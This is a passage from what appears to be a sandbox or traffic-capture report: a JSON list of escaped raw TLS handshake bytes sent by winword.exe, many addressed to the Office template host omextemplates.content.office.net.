  451. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fqr\\xc27q\\x8ai!\\x1a*\\xc0\\xae\\xab\n|\\xf6\\xa5\\x0e7\\xd607\\xacd\\x80\\xd9\\xbb\\xc2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  452. },
  453. {
  454. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xf1\\xd6\\x1b\\x00\\xae}\\xb8$\r\\xe8\\x8a\\x8f\\xf0b~\\xcc\\x96\\xad\\xbdx\\x0c\\x931\\xdbk\\xec\\xf7\\xa9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  455. },
  456. {
  457. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7ffj\\x11\\xf3b\\xfa\\xad{\\xf1z2=\\xec\\xd6]\\xd9\\xda\\x07\\xf8h\\xc3\\xba\\xe0.s\\x15\\x01+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  458. },
  459. {
  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xa9\\x88k\\xf6\\xf9af\\xec\\xa5\\xe2d\\xfe\\x0c\\x8e\\xdbwjf\\xd9\\x99\\x8d\\x01>\\x18\\xfe\\xec\\x9a\\xd2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  461. },
  462. {
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fmapq[\\x05\t\\xfd\\xd5\\xc9\\xd6i\\xf3\\x0bh>r\\xe1\\xc9j\\xa1}la<\\x9d\\xf8\\x94\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  464. },
  465. {
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xce\\xd0k\\xf8h\\x02ahp\\x85\\x03~\\xd7\\xd9gt\\xc0j|\\xa0\\x86[\\xa8\\x0c\\x9c6\\xf5\\x8e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  467. },
  468. {
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xc6\\x93r\\xcc=kv\\x880\\xdd\\xae\\xb57\\xdfxu\\xb0.\\xf5\\x0eye\\\\x0e\\x8bm\\xef*\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  470. },
  471. {
  472. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xcd\\xa6\\x94z\\x8b\\xb0l\\x01m'h\\x1b\\xa2\\x85>\"q\\xcd\\xcd2\\xa7\\xb2\\xb2v5\\xe0\\xd0\\x03\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  473. },
  474. {
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xe4\\x83o\\xd2\\xd5\\x93:q1?t\\x0c\\x1dj\\x80m\\xbfd\\x93\\xa1#\\x82x~]xt\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  476. },
  477. {
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\nu\\xdc_\\x8d\\xf7\\xd1^\\x01\\x9e\\xeek>\\x1fg\\xac\\xf3\\x92\\xba\\x8f6\\xee\\xab\\xe4\\xcf^\ne\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  479. },
  480. {
  481. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x8c\\xff\\xf1c\\x0b/\\xcd\\xa5:\\xef\\xf1pg\\x07\\x95w\\xe89\\\\xa3\\xce\\xeau\\x14\\xe7\\x1a\\xb9\\xd6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  482. },
  483. {
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f3iz\\xa1t\\xc9\\xd4\\x1f\\xb4\\xc6f\\xd0!\\xcd\\xd2\\xbb|x\\xa8\\xd2>\\xc6ou\\xdc'\\x15g\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  485. },
  486. {
  487. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\x86\\xf8\\xd9\\x17\\\\xaam\\x1d\\x10h.\\xf8[n.\\x19\\x1b\\x8a\\xd2\\x13\\xdb\\xbcjw/\\xbee\\x0e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  488. },
  489. {
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xd7\\xee\\x98y\\xac&\\x03\\xbf\\x875\\xab\\x85|\\xd5|sx#\\x1e\\xc2\\xd0l#\\xfa8_\\xdf\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  491. },
  492. {
  493. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fxkabw\"f&i\\xaa\\xbe.-\\xf8\\xe3\\xb4\\xe17\\xc1h\\xe0,\\x9ahg\\x1d\\x8aq\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  494. },
  495. {
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f.eg\\xb4\\x8f}w<\\x84\\x9e\\x86[\\xe0\\x8fn7e\\xc6\\x12\\x1d\\x8f`0xld+\\xf4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  497. },
  498. {
  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x92\\xef\\x812d\\xa7\\x01\\x0cw\\x96a\\x94\\x87\\x0bq\\xf4$\\x14\\x83vn?\\xa7\\xce\\x1f\\xaa$\\xbc\\x97\\x04\\x99\\xd1j\\x88\\x1d\\xb3\\xe2;\\x19\\xfd\\x84\\x91\\xc9\\x14w\\x87\\x0c\\x13?\\xc2\\x98\\xfc9\\x12p\\xd1!\\x1cr\\x86\\xa0m\\xb7\\xf4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86\\xe3\\x90}\\xdd7`\\xb3nd\\xfe\\x8f\\xd4\\xab\\x057\\xd3\\xfe@\\x17?\\x9a4k\\xa4\\x80yip\\x02o5\\x18i\\xc2\\xfe\\xd4\\x15\\x12d\\xd1\\xf2i\\xd6\\x94#s\\xb9"
  500. },
  501. {
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0f\\xe6\\xe4\\xa15>\\x88\\xe9\\xdf\\xe4\\x1fj\\xaa\\xed^;\\x16o\\xc4,\\x82\\^\\xb4\\x19/\\xc8\\xad<\\x19\\xb5\\x9f)\\xc4p\\xd2\\x90\\xb5\\xcegjq\\x0c\\x95\\x8a\\xa4\\xfeg\\xae\\xbd{\\xcff\\xef\\x9f\\xc32re\\xef\\x8cd\\x88>\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e\\xfa};\\xce\\xcct\\xc0\\xa6t\\x15\\xcf\\xc8\\xa4\t\\x15\\xae#\\x13m3lf_\\xf0\\xbc\\x92\\xf0\\x85a\\x82\\x86c\\xc6jd\\xb9\\x150\\xf4@\\x9dj9g/5\\x87"
  503. },
  504. {
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xb5\\xbc\\x061\\xcd\\xb6\\x9d\\xb0_\\xc4!\\xbf\\xfb\\x17\\xf6?p>\\xfc$\\xc4\\xd2b\\xd2\\xac}\\xff\\x15\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  506. },
  507. {
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f.\\x99j\\xb9\\xaff\\xd3y\\xac\\x08\\x9a>\\x00&\\xfbya\\xc0\\xfe\\xff\\xd8\\x84d\\xf2\\x15\\xfb\\x0b_\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  509. },
  510. {
  511. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xf9fxs\\xd1j\\x07[\\xf7!mo\\x97\\xe8g\\xf1\\xbdn?\\xab\\xd11\\x85\\x1dr\\xb0\\xc9\\x8d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  512. },
  513. {
  514. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xdc\\xabb\\x98\\xba\\xd2~u\\x0c\ng\\xb2\\x04\\x8e\\x8c \\=\\x83\\xd1yk\\xbd\\xce\\xed\\x02\\x02\\xff\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  515. },
  516. {
  517. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7fj\\xed(`}\\xaa\\xf2\\xfcd\\xdbn$\\xa0\\xb8>\\x1f4\\xf2\\xfc\\xc8&\\x15\\x16'\\x17\\x96\\xda\\x89\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  518. },
  519. {
  520. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04y\\xa3\\x08\\xc2\\x04=\\xacpk\\x81\n\\xb6\"\\xff\\xf6\\xe1da{\\x97\\xd1\\x1e\\xdd\\xc3kw^9\\xcc*\\xbd\\x10\\x10#\\x8c\\x9a9\\x06\\xde&c\\x0f\\xaag\\xc12d3=m\\xc4\\xa84\\x7f\\x8f\\x1f<\\xf6.]td\\xd5\\xd7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0002l\\x9b{\\x04\\x04r\\xa8\\xcd\\xc1lj\\xd7\\xf72\\x90\\x1f\\xff\\x02v\\xb9\\x8b\\xdf\\xde\\xe8\\x0ci\\x84<\t\\xbef;\\xecw\\xccq|\\xfcar.u\\xcb\\x0c$\\xc1\\xf5"
  521. },
  522. {
  523. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb4w\\xa54k\\xd9e\\xd4c\\xeb\\xe0\\xb2h|\\x1di\\x1f>k\\x15\\xb3\\x1d\\xab\\xa4\\xcb\\x115\\xe6\\x91y\\xb1\\xe2\\xc2p\\x9d.\\xf8\\x12v\\xbf\\xeb\\x0c\\xb4\\x9d\\x91+\\xad\\xd2\\x1e\\xae\\x15\\xda\\xa1[l7fp\\x08w\\x81\\xc1\\xaes\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeeam\\x03 bf\\xe3\\xa3\\x92\\x9d\"\\xea\\xbbxj\\x17a]\\xcb\\xc5\\x17\\xff\\x80&%g\\x91\\x95-.\\x16r\\xfe\\x90\\xc5\\xfbbp\\xd1]\\\\x96t\\xb5q\\x8e+"
  524. },
  525. {
  526. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x04\\x9e\\xeac^\\xf6\\xb1%%\\xe1\\xc7^c\\x1frr\\xa1\\xcb\\x12\\xf8\\x7fl\\x1a\\xa7\\xfd_3k\\xe6\\xf5\\xd9\\xdf<:\\x03a\\xcai\\xa0e\\xc1\\xe9\\x8e\\xc8ti\\xa7\\xf9\\xa0\\x83\\x16o.j\\x90\\x16\\x0e\\xad\\x02\\x94\\x00$\\x05\\xb7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xce\\xc4\\xa8\\xa9\r\\xf7\\x82\\xb0y\\x17e\\x02\\xe2\\x02o\\x96jz\\x84<\\x1c`s\\x04*p\\xa72f\\xe5\\x95y\\xceqtx\\xda?\\xf6\\x05\\xb4\\xae\\x1da\\x17\\x86\\xa5\\xae"
  527. },
  528. {
  529. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b:\\x7f\\xebz\\xcc\\xb7\\xd5\\xd8\\xc3\r\\x957\\x01\\x9d\\x95\\x16\\xb07\\x85\\xbb\\x98\\x87\\xe0\\x92*\\x90\\x8a_g\\xe9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  530. },
  531. {
  532. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0/\\x19\\xb0,\\x17\\x01\\x87\\x12\\xcb`\\xff\\x05.[\\xe3\\xae\\xa3\\xdc\\xf4\\xe1\\xe6\\xac\\x0b\\xf4\\xbbpi\\x1b\\x11^o\\xb4\\x98}{\\xc4\\xe1\\xe9\\xa6`\\x1e\\x82iy?\\xbf=;\\x89r-0#\\xdf\\x8b\\n\t\\xfa\\xa8\\x9b\\xc4\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000@q\\xbbf\\xbc\\xc8\\xc2\\xb6z!*\\x0b\\x9d\\xa2o\\xe3\n\\xfa\\x85\\xa8>\\xdf\\x91\\xb6\\xfa\\xc3xs\\xbf\\x1e\\x0c\\xb7\\xc7\\x1b\\xce\\xd8p~\\x86\\x1fo!\\xb9\\x0c\\xd0\\xf9q\\x98"
  533. },
  534. {
  535. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7\\xa0\\xc8i\\xbclt\\xc7\\x82\\xf7\\xb7\\x07\\xfdwp\\xee\\xbb\\xcar\\x8f\t\\x91\\xee=\\xa0l\\x9d;~=\\xda\\xb0\\x8d\\xe8q\\xcfuxmw\\xb6\\xfbr\\xbc\\x82\\xc4\r\\xb2\\xf6{\\x98\\xb2\\xcd\\x17\\xc1sz\\xe3`\\xe6_\\xea\\x84\\x98\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000*\\xb4\\xbf\\xa7+qj=\\xbe\"\\x0f\\x11u\\xac\\xda\\xa2\\xdf\\x07\\xf4qd\\x16\\x80y9ay\\x83\\x0b\\xba\\x1c\\xd1c\\xe9\\x84\\xd6lj\\xb2\\x15\\x17\\x12\\xeb^]\\xe6\\xc0\\xb2"
  536. },
  537. {
  538. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9e\\-(\\xe83\\x9bd\\xfb\\xe2q$\\xda2\\xc0\\xcd\\x8d'ru\\x1d\\x86\\xdd\\xdd\\xbd\\x05r\"\\xb4$\\xb0\\xa0\\x13\\x9ehc'\\xb8\\x07\\xba\\xe2]\\x1d\\xeb\\xdfuq\\x97d\\xe1@\\xe3\\xc9\\xc8\\xe3ylv\\xbd\\xd0\\xbb\\xb7\\x8d\\xe0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000q\\xc8\\x80\\x8c\\xbe\\x10\\xdf\\xe2\\x0b\\x94\\xd1\\xb9\\x18\\xbc\\xda4\\xd4 0y\\x8e\\xc7i\\xe3z\\xa8\r>\\x1f\\xf1\\xc0\\xa2\\xa7\\x894\\xf4\\xc5eo @1\\xeb\\x11\\xfb\\xa51,"
  539. },
  540. {
  541. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04!(gft~\\x9c\\xe7\\xe8\\xd0\\x9f\\x91;\\xfc\\xfa\\xe6ss\\x98l\\x0b\\x99\\xaensfc\\x83./'fr\\x1b\\xabc\\xc6/\\xc3*\\xe5\\x105\\x91\\x14\\x0f\\x9b5yp\\xb1\\x14\\xb5m\\xa8\\xd0\\xb1\\x87\\x0e|\\xd1\\xbcg>\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xaf\\xcc\\x0b\\x9e\\xf4\\xb8\\x8ez\\xbe)\\xb5\\xe3\\xf1\\xd5\\x97a\\xeb\\xa3{\\x90\\x02z\\x02\\xe8\\xd1\\x13\\xf9\\x00\\x84\\xb2\\xedb\\xbf\\xe28\\xf1f\ndv\\x8a\\x12i.6\\xa6\\x1ek"
  542. },
  543. {
  544. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbe#\\x0fm\\xd9\\xd3\\x80=\\x97\\x13\\x0bs\\xf3m\\x98\\xe8\\xb6\\x11i\\x90\\xe3\"ceym\\x9dq\\x86c^\\xaef\\xc3*zx?w&\\xcc\\xb8\\x85\\xdahb\\xd2\\xec\\x8b\\x12s\\xd2\\x16\\xe7v\\x95\\xe5\\x95q\\x11\\xf8\\xd8r\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000i[v\\x07zi\\x90x=d\\xfe>\\x94x\\xfd \\xc0y\\xefq\\xd6q\\xdf\\xbbx\\xd35\\x8f\\xac\\xee\\xe3\\xcc\\x16\\x82-u\\xee\\xfemg7\\xe1\\x89\\xc5\\xf9\\x1b\\x8bs"
  545. },
  546. {
  547. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xce\\xcb\\x95\\x87sc\\xbb\\xd1\\x92pg\\x88e\\x1c\\x0b\\xe0\\x04\t\\x17\\x94\\x87\\x13\\x8c\\x8c\\x94\\xc1\\x8c+\\xaf\\xd8\\xda\\x84\\xd5c\\x1a\\xb2\\xbc\\x80\\xb1\\xe5\\x97\\xad\\xbe{\\x904m\\xc1~\\x17\\x85\\xc5\\xfb\\xd0\\xb6\\xe1t:\\xe0\\x92\\xffn}\\x94\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x02\\xe0qxu\\x84~\\xe6\\xe8\n\\x0f\\xf8s\\xeb\\x11\\xc3\\xd6\\xd4\\x93\\x7fi\\\\x1b\\x06\\xcc\\xcd\\x19\\xb3v\\xbf{\\xbb\\x1b\\x1di6\\x1a\\xe9\\xad\\x91.\\xcc\\xb7\\xd8\\x14\\xbf\\xe8\\x9e"
  548. },
  549. {
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\xed0\\xb5\"\\x92\\xca\\x04\\x99x\\x01\\x18y\\xc3\\xaf;\r\\x00\\x04/\\x90l\\x02\\xda\\xfb\\x8e\\x82\\xf3\\xdfc\\xf6\\xea}\\xe75&\\xc6\\x12om\\x9b\\xe1\\xc2\\xd9\\x03\\xf5i\\xcb\\xf0\\xc8\\x15\\xff\\xd0.\\xa3q\\xed\n\\xdd\\x94$o-\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x89\\xbd7n^lo\\x85p\\xe6\\x13\\xd6@;mal\\xd9p#\\xdd/t\\xb1\\xd1s@\\x07m,\\xcd\\xf3]t}\\xc5\\xcc\\xeb\\x99.\\x80\\xbcy\\xee\\xa7\\xe7\\xb4\\xd8"
  551. },
  552. {
  553. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x88{\\x97ivj\\x92q'l\\x85\\x1e\\xbf\\xb7\\xed\\xa9\\xee\\xfbn5\\xc6\\xb0d\\xe6\\xd5\\xd6\\xf1\\x8e\\xbco\\x1at\\xa0`d\\x02v\\x96f\\xf9\\x0f\\x7f\\x99j\\xcf\\xe2[\\xca\\xa0\\xc5\\xcc\\xebefh\\xe9q\\x8b\r\"c\\xbdl\\x1d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xacy:\\xde(\\x00\\xcc\\xc2\\x83c\\xd0\\x86\\x0f\\x15\\xb2\\xa9+\\x1efhkw\\xf8\\xa1^\\\\xd9\\x04h]\\xfd\n7\r\\x96xk\\xd1l\\xb23\\xda\\x0c\\xc1\\x99\\xb6s\\x1a"
  554. },
  555. {
